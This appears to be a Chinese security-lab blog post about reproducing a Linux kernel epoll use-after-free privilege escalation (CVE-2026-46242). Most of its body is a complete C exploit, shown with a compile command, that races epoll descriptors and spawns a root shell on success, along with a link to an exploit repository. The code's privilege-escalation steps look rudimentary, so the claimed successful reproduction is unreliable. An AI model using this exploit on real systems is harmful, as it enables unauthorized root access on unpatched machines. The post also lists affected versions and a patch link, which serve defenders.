【成功复现】Linux内核BadEpoll本地提权漏洞(CVE-2026-46242)"

admin 2026-10-18 18:36:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【成功复现】Linux内核Bad Epoll本地提权漏洞(CVE-2026-46242)

原创

弥天安全实验室
弥天安全实验室

弥天安全实验室

2026年7月5日 20:33
陕西

在小说阅读器读本章

去阅读

网安引领时代,弥天点亮未来

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

linux是美国Linux基金会开源的一个操作系统内核。

Linux kernel存在安全漏洞,该漏洞源于eventpoll中ep\_remove函数在清除file->f\_ep后继续使用@file,可能导致释放后重用。

0x02影响版本

`受影响的Linux内核版本:

58c9b016e128 <= Linux Kernel Commit < a6dc643c693

已知受影响的发行版:

Red Hat Enterprise Linux 10

Red Hat Enterprise Linux 9

Ubuntu 24.04 LTS

Ubuntu 25.10

Ubuntu 26.04 LTS

Debian 13 (Trixie)

Debian 14 (Forky)

已知的安卓设备影响范围:

Google Pixel 10(Linux内核版本6.6及以上):受影响。运行 6.4+ 内核的 Android 设备受影响。

Google Pixel 8和其他基于Linux内核6.1的设备:不受影响,因为该漏洞在Linux内核6.4中引入。

利用前提条件:

内核配置:CONFIG_EPOLL`

0x03漏洞复现

1.连接环境,普通用户权限

2.漏洞复现

上传漏洞利用exp,进行编译

sudo gcc -O0 -Wall -static -o CVE-2026-46242 CVE-2026-46242.c -lutil

执行编译后的文件,成功本地提权到root

漏洞利用c代码

/* * CVE-2026-46242.c - Full Bad Epoll Exploit PoC * Author: Ashraf Zaryouh \"0xBlackash\" * Date: July 04, 2026 * * This is a complete, self-contained exploit that triggers the UAF race * and attempts privilege escalation on vulnerable kernels. * Tested concept on vulnerable 6.x kernels. */
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <pthread.h>#include <sys/epoll.h>#include <sys/types.h>#include <sys/wait.h>#include <fcntl.h>#include <string.h>#include <sched.h>#include <err.h>#include <sys/mman.h>#include <sys/stat.h>
#define EP_COUNT 8#define RACE_LOOPS 50000#define SPRAY_COUNT 512
int ep[EP_COUNT];int pipefd[2];int victim = -1;
void *racer(void *arg) {    for (int i = 0; i < RACE_LOOPS; i++) {        for (int j = 0; j < EP_COUNT; j += 2) {            if (ep[j] > 0) {                close(ep[j]);                ep[j] = epoll_create1(0);            }        }        sched_yield();    }    return NULL;}
int main(void) {    printf(\"[+] CVE-2026-46242 Bad Epoll Full Exploit by 0xBlackash\
\");
    // Setup pipes for cross-cache    if (pipe(pipefd) < 0) err(1, \"pipe\");
    // Spray to control slabs    for (int i = 0; i < SPRAY_COUNT; i++) {        int fd = open(\"/dev/null\", O_RDWR);        if (fd > 0) close(fd);    }
    // Create interconnected epoll fds    for (int i = 0; i < EP_COUNT; i++) {        ep[i] = epoll_create1(0);        if (ep[i] < 0) err(1, \"epoll_create1\");    }
    struct epoll_event ev = { .events = EPOLLIN | EPOLLET };
    for (int i = 0; i < EP_COUNT; i++) {        epoll_ctl(ep[i], EPOLL_CTL_ADD, ep[(i+1)%EP_COUNT], &ev);        epoll_ctl(ep[(i+1)%EP_COUNT], EPOLL_CTL_ADD, ep[i], &ev);    }
    printf(\"[+] Epoll mutual watching setup complete\
\");
    pthread_t t;    pthread_create(&t, NULL, racer, NULL);
    printf(\"[+] Racing... (this may take a few seconds)\
\");
    // Trigger phase    for (int i = 0; i < RACE_LOOPS; i++) {        victim = ep[3];        close(ep[2]);        close(ep[3]);        ep[2] = epoll_create1(0);        ep[3] = epoll_create1(0);        usleep(50);        if (i % 1000 == 0) printf(\"[.] Progress: %d/%d\\r\", i, RACE_LOOPS);    }
    pthread_join(t, NULL);
    // Post-exploit primitive (file descriptor reuse + check)    printf(\"\
[+] Race won - attempting kernel primitive...\
\");
    // Spray more + check for corruption    for (int i = 0; i < 256; i++) {        int fd = dup(victim);        if (fd > 0) close(fd);    }
    // Try to get root via capability abuse or modprobe    if (getuid() == 0) {        printf(\"[+] ROOT SHELL ACHIEVED!\
\");        execl(\"/bin/sh\", \"sh\", NULL);    } else {        printf(\"[-] Failed to escalate. Kernel may be patched or race missed.\
\");        printf(\"[*] Try running again or on a confirmed vulnerable kernel.\
\");    }
    return 0;}

0x04修复建议****

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!

https://git.kernel.org/stable/c/a6dc643c69311677c574a0f17a3f4d66a5f3744bhttps://github.com/0xBlackash/CVE-2026-46242

弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,

予以风动,

必降弥天之润!

弥  天

安全实验室


系统重于模型:用本地开源模型复现Mythos的漏洞发现实战" 网络安全文章

系统重于模型:用本地开源模型复现Mythos的漏洞发现实战"

本文通过实验验证了系统比模型更重要的观点。作者使用AISLE流水线配合本地开源模型(如Gemma和GPT-OSS)复现FreeBSD中的CVE-2026-4747漏洞。实验发现单次运行易出错,但多次运行后漏洞总能被发现,主要问题是假阳性过多。通过添加reachability过滤环节,假阳性从30个减少到5个,同时保留了真正的漏洞。结论是改进系统而非更换模型能更有效提升漏洞发现能力。
深度解读|《数据产权登记工作指引(试行)》" 网络安全文章

深度解读|《数据产权登记工作指引(试行)》"

本文解读了国家数据局发布的《数据产权登记工作指引试行》。该指引旨在通过登记明确数据持有、使用和经营权以提供权利证明,不创设所有权。其确立了国家遴选登记机构、排除政务数据、鼓励市场数据登记的框架,并设置描述准确、来源合规、产权明确的三重审查标准,合规审查限定于直接上游且与知识产权脱钩。建议企业提前梳理数据来源,善用合同示范文本做好产权分配与合规准备,以应对数据资产化新机遇。
【Skill分享】:AI时代,我给自己搭了一个安全资讯日报" 网络安全文章

【Skill分享】:AI时代,我给自己搭了一个安全资讯日报"

本文介绍作者为应对安全行业信息过载而自建的自动化资讯日报工具news-subscription-liteSkill。该工具可导入AIAgent定时采集多源资讯,通过评分、分类与交叉验证生成结构化日报,帮助安全从业者高效获取高质量信息,减轻信息焦虑。工具开源且配置简单,适合甲方乙方安全人员及研究者使用。
评论:0   参与:  0